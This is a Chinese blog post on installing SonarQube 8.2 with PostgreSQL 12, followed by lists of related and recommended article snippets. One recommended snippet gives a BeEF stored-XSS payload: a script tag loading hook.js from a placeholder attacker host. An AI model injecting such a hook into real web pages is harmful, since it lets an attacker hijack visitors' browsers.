简介

SonarQube 是一个开源的代码质量管理系统。

功能介绍:

  • 15种语言的静态代码分析

    Java、JavaScript、C#、TypeScript、Kotlin、Ruby、Go、Scala、Flex、Python、PHP、HTML、CSS、XML和VB.NET
  • 检测代码 bugs 和 漏洞
  • 检查安全热点
  • 跟踪代码坏味道,并修复技术债务
  • 代码质量度量及历史变更记录
  • CI/CD 集成
  • 可扩展,社区有超过 60 多个插件

支持平台

Java

SonarQube 仅支持 JVM 11,SonarQube scanners 支持 JVM 8 或 11。

Java Server Scanners
Oracle JRE 11 11
不支持 8 8
OpenJDK 11 11
不支持 8 8

Database

注意:SonarQube 7.9+ 已经不在支持 MySQL。

Database version
PostgreSQL 12
11
10
9.3-9.6
字符集必须设置为 UTF-8
Microsoft SQL Server 2017 (MSSQL Server 14.0)
2016 (MSSQL Server 13.0)
2014 (MSSQL Server 12.0)
Oracle 19C
18C
12C
11G
XE Editions
字符集必须设置为 UTF-8 系列
不支持驱动包 ojdbc14.jar
建议使用最新的 Oracle JDBC 驱动程序
仅支持 thin 模式,不支持 OCI

Web Browser

Browser Version
Microsoft Internet Explorer IE 11
Microsoft Edge Latest
Mozilla Firefox Latest
Google Chrome Latest
Opera Not tested
Safari Latest

验证环境

操作系统:macOS Catalina 版本 10.15.2

SonarQube:8.2.0

Oracle JDK:11

postgreSQL:12.2

安装 postgreSQL

macOS

# 下载
# 官方下载地址:https://www.enterprisedb.com/downloads/postgres-postgresql-downloads
$ wget https://get.enterprisedb.com/postgresql/postgresql-12.2-1-osx.dmg # 双击安装即可 # 验证
$ ps -ef | grep postgres # 启动
$ sudo -i -u postgres
$ ./bin/pg_ctl -D /Library/PostgreSQL/12/data start # 停止
$ ./bin/pg_ctl -D /Library/PostgreSQL/12/data stop

linux(Red Hat family)

# 安装 yum 源
$ yum install https://download.postgresql.org/pub/repos/yum/reporpms/EL-7-x86_64/pgdg-redhat-repo-latest.noarch.rpm # 安装客户端
$ yum install -y postgresql12 # 安装服务器端
$ yum install -y postgresql12-server # 初始化数据库,并设置开机启动
$ /usr/pgsql-12/bin/postgresql-12-setup initdb
$ systemctl enable postgresql-12
$ systemctl start postgresql-12 # 验证
$ systemctl status postgresql-12

创建 sonar 数据库

如下为 macOS 操作步骤,Linux 操作步骤一样。

$ sudo -i -u postgres
$ psql
Password for user postgres:
psql (12.2)
Type "help" for help. # 创建数据库
postgres=# CREATE DATABASE sonar;
CREATE DATABASE # 创建 sonar 用户
postgres=# CREATE USER sonar WITH ENCRYPTED PASSWORD 'sonar';
CREATE ROLE # 设置权限
postgres=# GRANT ALL PRIVILEGES ON DATABASE sonar TO sonar;
GRANT # 修改 sonar 数据库所属者为 sonar
postgres=# ALTER DATABASE sonar OWNER TO sonar;
ALTER DATABASE # 查看数据库
postgres=# \l sonar
List of databases
Name | Owner | Encoding | Collate | Ctype | Access privileges
-------+-------+----------+-------------+-------------+-------------------
sonar | sonar | UTF8 | zh_CN.UTF-8 | zh_CN.UTF-8 | =Tc/sonar +
| | | | | sonar=CTc/sonar
(1 row) # 查看用户
postgres=# \du sonar
List of roles
Role name | Attributes | Member of
-----------+------------+-----------
sonar | | {} # 退出
postgres=# \q

安装 SonarQube

# 下载
$ wget https://binaries.sonarsource.com/Distribution/sonarqube/sonarqube-8.2.0.32929.zip # 解压
$ unzip sonarqube-8.2.0.32929.zip # 修改配置文件,设置数据库
$ vi conf/sonar.properties
sonar.jdbc.username=sonar
sonar.jdbc.password=sonar
sonar.jdbc.url=jdbc:postgresql://localhost/sonar # 启动
$ ./macosx-universal-64/sonar.sh start

访问 SonarQube

启动成功后,通过 http://localhost:9000 进行访问。

默认用户名/密码:admin / admin。

下载中文插件

在线安装中文插件,重启。

注意: 离线安装只需要下载 jar 放到 extensions/plugins 目录下,重启即可。

其他常用插件

  • Crowd
  • Bitbucket Authentication for SonarQube
  • Findbugs
  • Checkstyle
  • PMD
  • MyBatis Plugin for SonarQube
  • ShellCheck Analyzer
  • YAML Analyzer

代码质量管理 SonarQube 系列之 安装的更多相关文章

  1. 代码质量管理sonarqube部署使用

    一.sonarqube的部署 1.下载sonaqube:https://www.sonarqube.org/downloads/ 根据需要下载特定版本: 2.如果通过sonar-scanner进行代码 ...

  2. 持续代码质量管理-SonarQube Scanner部署

    1. SonarQube Scanner地址 上一篇文章我们安装了SonarQube-7.3,让我们可以在页面查看代码质量.但是具体的扫描工作则需要SonarQube Scanner完成. 下载页面 ...

  3. 使用 Sonar 进行代码质量管理

    参考资料: 使用 Sonar 进行代码质量管理 SonarQube的安装.配置与使用 SonarLint(Sonar) 代码质量管理

  4. SonarQube代码质量管理平台安装与使用

    Sonar简介 Sonar是一个用于代码质量管理的开源平台,用于管理源代码的质量,可以从七个维度检测代码质量 通过插件形式,可以支持包括java,C#,C/C++,PL/SQL,Cobol,JavaS ...

  5. SonarQube代码质量管理平台安装与使用--转载

    原文:http://blog.csdn.net/hunterno4/article/details/11687269 Sonar简介 Sonar是一个用于代码质量管理的开源平台,用于管理源代码的质量, ...

  6. SonarQube代码质量管理工具安装与使用(sonarqube5.1.2 + sonar-runner-dist-2.4 + MySQL5.x)

    1. SonarQube安装(sonarqube5.1.2 + sonar-runner-dist-2.4) 1.1 前提条件 1) 已安装Java环境(version:1.7+) 2) 已安装MyS ...

  7. SonarQube代码质量管理工具的安装(Linux)

    一.安装配置sonar 1.Sonar介绍 Sonar是一个用于代码质量管理的开源平台,用于管理Java源代码的质量.通过插件机制,Sonar 可以集成不同的测试工具,代码分析工具,以及持续集成工具, ...

  8. Dubbo入门到精通学习笔记(五):持续集成管理平台之sonarqube代码质量管理平台的介绍与安装

    文章目录 SonarQube的介绍 SonarQube的安装 安装简介 详细安装过程 详细使用过程 SonarQube的介绍 SonarQube是一个管理代码质量的开放平台. 可以从七个维度检测代码质 ...

  9. 代码质量管理平台之SonarQube安装部署

    一.简介 Sonar是一个用于代码质量管理的开放平台,通过插件机制,sonar可以收集不同的测试工具,代码分析工具,以及持续集成工具.与持续集成工具(比如jenkins)不同,sonar并不是简单地把 ...

随机推荐

  1. Beef xss神器

    KALI中启动BEEFXSS PAYLOAD为 <script src=”http://攻击机IP:3000/hook.js”></script> 将攻击代码插入到存储型XSS ...

  2. hdu2612 又是迷宫系列

    题目链接:http://icpc.njust.edu.cn/Problem/Hdu/2612/ 题意:有两个人在地图上不同的位置,地图上由若干个餐厅,求两人能同时到达一个餐厅所用最少的总时间. 代码如 ...

  3. 题解 P1305 【新二叉树】

    好像没有人搞\(\color{green}map\)反映,没有人用\(\color{green}map\)反映搞并查集! \(\color{green}map\)第一个好处是作为一个数组,可以开很大! ...

  4. Selenium系列(十) - 针对Select下拉框的操作和源码解读

    如果你还想从头学起Selenium,可以看看这个系列的文章哦! https://www.cnblogs.com/poloyy/category/1680176.html 其次,如果你不懂前端基础知识, ...

  5. mysql系列--sql实现原理

    count(*) MyISAM 引擎把⼀个表的总⾏数存在了磁盘上,因此执⾏ count(*) 的时候会直接返回这个数,效率很⾼:但是加了条件则不能快速返回⽽ InnoDB 引擎就麻烦了,它执⾏ cou ...

  6. vue - Babel之babel-polyfill、babel-runtime、transform-runtime

    引言 babel默认只转换新的 JavaScript 语法,比如箭头函数.扩展运算(spread). 不转换新的 API,例如Iterator.Generator.Set.Maps.Proxy.Ref ...

  7. OpenCV-Python 鼠标作画 | 八

    目标 了解如何在OpenCV中处理鼠标事件 您将学习以下功能:cv.setMouseCallback() 简单演示 在这里,我们创建一个简单的应用程序,无论我们在哪里双击它,都可以在图像上绘制一个圆. ...

  8. 【tensorflow2.0】处理结构化数据-titanic生存预测

    1.准备数据 import numpy as np import pandas as pd import matplotlib.pyplot as plt import tensorflow as t ...

  9. JS烟花案例

    html代码部分 <!DOCTYPE html> <!-- * @Descripttion: * @version: * @Author: 小小荧 * @Date: 2020-03- ...

  10. Html,Css遇到的bug2020031601

    td,里面jquery设置height,设置成功也没有效果. div可以成功设置,并产生效果. 可能是td,div有一些隐藏的特性不同导致的.